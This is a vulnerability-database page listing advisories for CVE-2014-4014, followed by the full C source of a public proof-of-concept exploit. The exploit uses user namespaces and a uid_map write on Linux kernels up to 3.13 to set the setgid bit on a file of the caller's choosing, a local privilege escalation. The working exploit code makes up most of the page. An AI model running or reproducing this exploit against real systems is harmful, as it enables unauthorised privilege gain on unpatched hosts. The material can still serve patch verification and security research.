| Reporter | Title | Published | Views | Family All 162 |
|---|---|---|---|---|
| Linux Kernel <= 3.13 - Local Privilege Escalation PoC (gid) | 22 Jun 201400:00 | – | zdt | |
| Medium: kernel | 9 Jul 201400:00 | – | amazon | |
| Amazon Linux AMI : kernel (ALAS-2014-368) | 12 Oct 201400:00 | – | nessus | |
| EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1471) | 13 May 201900:00 | – | nessus | |
| EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1480) | 13 May 201900:00 | – | nessus | |
| Fedora 19 : kernel-3.14.8-100.fc19 (2014-7426) | 23 Jun 201400:00 | – | nessus | |
| Fedora 20 : kernel-3.14.8-200.fc20 (2014-7430) | 19 Jun 201400:00 | – | nessus | |
| NewStart CGSL MAIN 5.04 : kernel Multiple Vulnerabilities (NS-SA-2019-0004) | 12 Aug 201900:00 | – | nessus | |
| openSUSE Security Update : kernel (openSUSE-SU-2014:0957-1) | 4 Aug 201400:00 | – | nessus | |
| openSUSE Security Update : kernel (openSUSE-SU-2014:0985-1) | 13 Aug 201400:00 | – | nessus |
/**
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
*
* Vitaly Nikolenko
* http://hashcrack.org
*
* Usage: ./poc [file_path]
*
* where file_path is the file on which you want to set the sgid bit
*/
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
struct args {
int pipe_fd[2];
char *file_path;
};
static int child(void *arg) {
struct args *f_args = (struct args *)arg;
char c;
// close stdout
close(f_args->pipe_fd[1]);
assert(read(f_args->pipe_fd[0], &c, 1) == 0);
// set the setgid bit
chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
return 0;
}
int main(int argc, char *argv[]) {
int fd;
pid_t pid;
char mapping[1024];
char map_file[PATH_MAX];
struct args f_args;
assert(argc == 2);
f_args.file_path = argv[1];
// create a pipe for synching the child and parent
assert(pipe(f_args.pipe_fd) != -1);
pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
assert(pid != -1);
// get the current uid outside the namespace
snprintf(mapping, 1024, "0 %d 1\n", getuid());
// update uid and gid maps in the child
snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
fd = open(map_file, O_RDWR); assert(fd != -1);
assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
close(f_args.pipe_fd[1]);
assert (waitpid(pid, NULL, 0) != -1);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation